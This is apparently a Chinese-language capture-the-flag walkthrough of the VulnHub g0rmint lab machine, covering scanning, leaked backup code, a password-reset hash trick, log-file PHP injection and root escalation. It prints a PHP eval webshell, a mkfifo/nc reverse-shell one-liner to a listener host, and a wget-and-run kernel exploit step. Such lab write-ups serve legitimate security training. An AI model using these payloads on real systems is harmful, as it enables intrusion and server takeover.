kali渗透综合靶机(十四)--g0rmint靶机
kali渗透综合靶机(十四)--g0rmint靶机
靶机下载地址:https://www.vulnhub.com/entry/g0rmint-1,214/
一、主机发现
1.netdiscover -i eth0 -r 192.168.10.0/24
二、端口扫描
1. masscan --rate=10000 -p0-65535 192.168.10.173
三、端口服务识别
nmap -sV -T4 -O -p 22,80 192.168.10.173
四、漏洞查找与利用
1.dirb目录扫描
2.发现http://192.168.10.173/robots.txt,浏览器访问,发现g0rmint
3.浏览器访问http://192.168.10.173/g0rmint
4.查看页面源码,发现备份目录
5.使用dirb 扫描http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/,发现http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
6.访问http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
7.下载备份文件
8.查看网站代码,发现用户名、密码、邮箱,尝试登录失败
在线解密
9.查看login.php,发现登录失败的时候会生成一个日志文件(调用addlog函数)
10.查看addlog函数,发现日志写在.php文件中,尝试在登录邮箱处插入php语句,从而任意执行代码
11.在登录邮箱处插入php一句话木马,点击提交,登录失败跳转到登录页面
最后发现是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");写入了一个session判断
所以需要先解决登录的问题。
12.查看reset.php,可以看到只要知道了一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希,尝试了demo和一些常用邮箱用户名之后,发现似乎并没有这个用户
13.在全文搜索email关键字, 可以在一个css文件中看到用户的名字和邮箱
14.成功重置后,界面右下角也给出了对应的时间,遂能算出相应的哈希值,使用在线的hash加密,去加密成功后的hash值前20位最为密码的值
15. 用邮箱和算出的哈希值就能登录到后台中,然后就能成功的访问到生成的log文件
16.在登录的时邮箱处插入一条php语句,写入webshell,<?php @eval($_POST[cmd]);?>然后访问对应的日志,提交post参数即可执行任意php代码。
17.然后将shell反弹到我的kali中来
在post中输入:注意需要url编码
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.168 1234 >/tmp/f;`;
18.在Kali开启监听,获得shell
19.提权
19.1查看内核版本
19.2kali查看是否有对应版本的漏洞
19.3在kali编译好脚本,然后目标用wget下载,执行,获得管理员权限
提权方式二:
1.在/var/www目录下又发现网站备份文件,解压发现db.sql,
2.发现用户noman以及密码
在线解密
3.尝试用noman用户登录,失败,发现/etc/passwd中有g0rmint,尝试用noman的密码登录,成功登录进去
4.用sudo -l 查看当前用户是否属于sudo组,然后sudo -i 直接获得管理员权限
总结:
1、信息收集、端口扫描、服务识别
2、目录扫描、发现敏感信息备份文件
3、登录密码的地方暂时突破不了,尝试在重置密码的地方寻找突破口、发现有用信息
4、进行代码审计,发现日志文件的后缀是php文件,这时可以尝试在登录的地方接入一句话,然后就写入到日志中。
5、getshell、提权